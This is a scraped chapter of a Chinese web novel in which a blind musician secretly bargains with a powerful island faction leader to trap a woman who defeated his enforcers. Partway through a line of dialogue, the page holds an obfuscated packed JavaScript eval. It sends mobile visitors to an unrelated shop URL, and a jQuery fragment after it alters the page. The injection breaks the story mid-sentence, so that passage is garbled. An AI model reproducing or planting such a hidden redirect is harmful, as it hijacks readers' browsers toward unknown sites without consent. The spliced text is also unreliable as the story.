文趣网 > 其他小说 > 被流放后,邻居天天看我打架 > 17. 琴师的计划
    琴师坐在院子里的石凳上,手指搭在琴弦上,但没有弹。

    竹叶在头顶沙沙作响,月光从叶缝间漏下来,在他灰白色的长衫上投下一小块一小块的光斑。他的眼睛闭着——一直闭着,二十年来都是这样。但他的耳朵张着,张得像两张看不见的网,把院子里每一个细微的声响都网了进去。

    灰衣年轻人站在三步之外,微微低着头。

    “铁匠铺那边,什么情况?”琴师开口。他的声音不大,但在安静的夜里听得很清楚,像石子投进深水里,沉下去,然后一圈一圈地荡开。

    “老周没死,”灰衣年轻人说,“那女人把他救下来的。送到三楼那个男人家里治的伤。”

    琴师的手指在琴弦上停了一下。

    那个男人。三楼那个从来不跟人来往的住户。

    他搬进鬼街的第一天琴师就知道了,派人查过,什么都没查到。

    在鬼街查不到一个人的底细,这件事本身就值得注意。但琴师没有继续查,因为那个人一直很安静,不惹事,不交际,像一株种在盆里但从不浇水的植物,存在,但没有任何影响力。

    现在这株植物开始有影响力了。

    “疯子三兄弟呢?”

    “被那女人制服了,关在铁匠铺后面的空屋子里。没杀。”

    琴师的嘴角微微动了一下,不是笑,是某种更微妙的肌肉运动。没杀。不是心软,是留着有用。这个叫温初花的女人比他想的要聪明,不只是能打,还知道怎么把战利品最大化。

    “她花了多长时间?”

    灰衣年轻人犹豫了一下。“不到十分钟。”

    琴师没有再问了。他的右手落在琴弦上,拇指和中指捏住一根弦,轻轻拨了一下。琴声在院子里散开,穿过竹子,越过墙头,消失在外面那条窄巷子的黑暗中。

    他原计划是拉拢她。

    疯子三兄弟去砸老周的铺子,是为了逼老周向他低头。如果老周低头了,铁匠铺那一系的人就归他了。如果老周不低头,铺子被砸了,那一系的人没了饭碗,最后还是得来找他。

    无论哪种结果,他都是赢家。

    温初花出手打乱了这一切。她的介入让老周那一系的人看到了另一种可能——不需要向琴师低头,也有人在替他们出头。而且这个人不到十分钟就解决了他养了三年的疯狗。

    从那一刻起,琴师就明白了一件事:这个女人收不拢。

    不是因为他不舍得给条件,而是因为她身上有一种东西让他收不拢。

    她不信任何人。

    她来鬼街快四个月了,没有加入任何派系,没有向任何人低头,一个人活到现在。这种人不会因为几句漂亮话就替你卖命。

    既然收不拢,那就得处理掉。

    但琴师不能直接动手。鬼街虽然是个没有规矩的地方,但所有人都知道疯子三兄弟是他的人。如果他把温初花杀了,别人会怎么看他?一个六十多岁的瞎子,靠一群疯狗在鬼街站稳脚跟,现在狗被人打了,主人亲自下场?太难看。

    所以他想到了另一个办法。

    灰衣年轻人还站在原地等。

    琴师端起石桌上的茶杯,喝了一口。茶已经凉了,苦味更重了。

    “把传信器拿来。”

    灰衣年轻人愣了一下,然后转身走进屋里。

    传信器是琴师最珍贵的东西——从外面带进来的,鬼街的压制对它没用。拇指大的黑色圆片,可以记录声音,通过藤洲岛上空的某种特殊频率传递出去。鬼街虽然出不去,但消息可以。

    传信器是他和外界的唯一联系。

    灰衣年轻人从里屋的木箱底层翻出了传信器,双手捧着送到石桌上。琴师的手指在桌面上摸索了一下,触到了那个冰凉的黑色圆片,把它握在掌心里。他的拇指摸到侧面的凸起,按了下去。

    传信器亮了一下,红光透过他的指缝漏出来,在石桌面上投下一小片红色的光晕。

    “林先生,”琴师开口了,声音比平时低了一些,“鬼街这边有个人,或许对你有用。”

    他说完这句,停了。

    林生宸。新世界社的主宰者。藤洲岛三大势力之一的掌门人,手下八百号人,控制着岛东岸最大的港口和最繁华的商业街。

    他不是异人中的最强者,但他是最有钱的那个。在藤洲这个弱肉强食的地方,钱买不到一切,但能买到很多东西——武器、情报、人心、甚至是某些小势力的效忠。

    琴师和他打过几次交道。不是面对面,是通过传信器。

    林生宸需要一个在鬼街的眼线,因为鬼街虽然是个鸟不拉屎的地方,但那里有一条缚灵粒子原始矿脉。那条矿脉是整个藤洲岛能量场的源头。谁控制了矿脉,谁就控制了藤洲岛的能源命脉。

    至少林生宸是这么认为的。

    琴师不知道那条矿脉到底能不能被控制,但他不在乎。他只需要林生宸相信他能控制。

    “她叫温初花,三个月前进的鬼街。”琴师继续说,声音平稳得像在念一份报告,“□□的叛逃者,手里有□□机密库房的东西。□□一直在派人追杀她。”

    他又停了一下。竹叶在风中响了一声,像一声叹息。

    “她的能力很强。在鬼街不能使用异能的情况下,她不到十分钟就制服了我养了三年的人。”

    琴师说到这里,嘴角微微上扬了一点。他故意说了“我养了三年的人”,没有说“疯子三兄弟”。用词的分寸他很清楚——要让林生宸觉得温初花有价值,但不能让林生宸觉得他自己的人太没用。

    “如果你能派人进入鬼街保护我,”琴师说,“我可以把她控制在手里。等将来有机会离开鬼街,她可以为你所用。”

    他松开传信器的凸起,红光灭了。

    院子里重新安静下来。琴师把传信器放在石桌上,端起那杯凉透了的茶,又喝了一口。苦味从舌尖蔓延到舌根,他慢慢地咽了下去,感受着那股苦涩划过喉咙的感觉。

    他等了一会儿。

    传信器亮了一下,红光一闪一闪的。琴师摸到它,拇指按住了接收的凸起。

    林生宸的声音从传信器里传出来,不大,但很清楚。那种声音一听就是常年发号施令的人——不急不慢,每一句话都像提前想好的,没有废话,没有犹豫。

    “这个女人,我要活的。”

    琴师的手指在传信器的外壳上轻轻敲了一下。

    “可以。”他说。

    “你需要什么?”

    琴师没有立刻回答。他仰起头,闭着的眼睛对着头顶的月亮——虽然看不到,但他知道月亮在哪里。月亮在东边,偏南,离中天还有一段距离。他在这里坐了二十年,不需要眼睛也能知道天上的一切。

    “五个人,”他说,“要能打的。鬼街不能用异能,所以我要的是体术高手。还要一箱武器,冷兵器,刀和匕首就行。外加每月的物资——食品、药品、日用品。”

    传信器那头沉默了两秒。

    “十天之内,人到。武器和物资随船走。”林生宸说,“到了藤州港口,会有人联系你取货。”

    “好。”

    “琴师,”林生宸的声音忽然沉了一度,“这个女人,如果她真像你说的那么强,你一个人吃得下吗?”

    琴师笑了。不是那种开心的笑,是那种被人问到了一个早就想好了答案的问题时的笑。嘴角微微上扬,幅度不大,但足够让对面的人感受到他的从容。

    “我不需要‘吃下’她,”琴师说,“我只需要让她在鬼街活不下去。当一个人发现全鬼街都在跟她作对的时候,她会来找我的。鬼街没有第二个可以投靠的人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549681|203552||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    传信器那头传来一声轻笑,像是认可,又像是不屑。“十天后见。”

    红光灭了。

    琴师把传信器放在石桌上,手指在它的表面慢慢地画着圈。冰凉的金属在他指尖的温度下慢慢变暖。

    他靠在椅背上,闭着眼睛,脑子里在转。五个人,一箱武器,每月的物资。这是他跟林生宸谈判的筹码,但不是他真正的目的。他真正的目的是离开鬼街。

    林生宸承诺过——“一旦能离开鬼街,就给他一个位置”。这句话琴师记了三年。他每帮林生宸做一件事,就在心里给这句话加一块砝码。等他做了足够多的事,那句话就从承诺变成了债。

    他不信林生宸会主动还债。但没关系,他还有别的东西。那条矿脉。林生宸想要矿脉,而他是唯一一个在鬼街待了二十年、研究这条矿脉研究了二十年的人。只要林生宸还想要矿脉,他就得留着琴师,就得欠着琴师,就得在将来某个时候,把琴师从鬼街弄出去。

    这就是他的筹码。

    灰衣年轻人还站在旁边,一动不动。

    “去打听一下,”琴师说,“那个女人最近跟谁走得近。那个三楼的男人,还有她楼上的那个老太太。我要知道他们每一个人的底细。”

    灰衣年轻人点了下头,转身走了。他的脚步声很轻,轻到几乎听不见,但琴师的耳朵捕捉到了——从石板路走到泥土地,脚步声变了,然后翻过了矮墙,落在外面的巷子里,然后越来越远,最后被风吹散了。

    琴师一个人坐在院子里,把手重新搭在琴弦上。

    他开始弹了。不是刚才那种一个音的试探,是一首完整的曲子。曲调不快不慢,每一个音都清清楚楚,像水珠一颗一颗地落进深潭里。没有回音,没有涟漪,就是落进去,沉到底,然后什么都没有了。

    二十年前他从藤洲来到鬼街的时候,是被人送进来的。那时候他还有眼睛,还能看到天是什么颜色、树是什么形状、人是什么表情。他得罪了不该得罪的人,被人废了双眼,扔进了鬼街。他以为自己会死在这里。但他没死。他活了下来,并且活得比谁都久。

    二十年,他学会了一件事——在鬼街,活着不是靠拳头,是靠脑子。靠等。

    等一个机会。

    现在他等到了。

    琴师的嘴角微微上扬,手指在琴弦上走了一个滑音,把整首曲子收在一个很低的尾音上。那个音在空气中久久不散,像一根看不见的线,一头系在他的指尖,另一头不知道系在了哪里。

    风停了。

    竹叶不动了。

    院子里的月光暗了一度,像有一片云从头顶飘过,遮住了一部分光。

    琴师把双手从琴弦上拿开,放在膝盖上。他的长衫下摆被风吹起来一角,又落了下去。

    他在等。

    等那五个人到。

    等温初花来找他。

    等那一天的到来——鬼街的门为他打开,他走出去,重新回到外面的世界。

    到那时候,他就不只是一个在鬼街苟活了二十年的瞎子了。

    他是林生宸的合伙人,是藤洲岛能源命脉的掌控者,是异人族群中一个不可忽视的名字。

    琴师的嘴角微微上扬了一点,然后慢慢收了回去。

    他站起来,摸索着拿起石桌上的传信器,攥在手心里。另一只手摸到拐杖,撑在地上,一步一步地走回屋里。脚步声在青石板上一下一下地响着,很慢,很稳,像节拍器。

    他进屋的时候,灰衣年轻人从黑暗中走出来,扶了他一把。琴师摆了摆手,示意不用。

    门在他身后关上了。

    院子里的石桌上,只剩下一壶凉透了的茶和两只没有动过的杯子。月光照在杯沿上,在桌面投下两个小小的、圆圆的影子。

    竹叶又响了。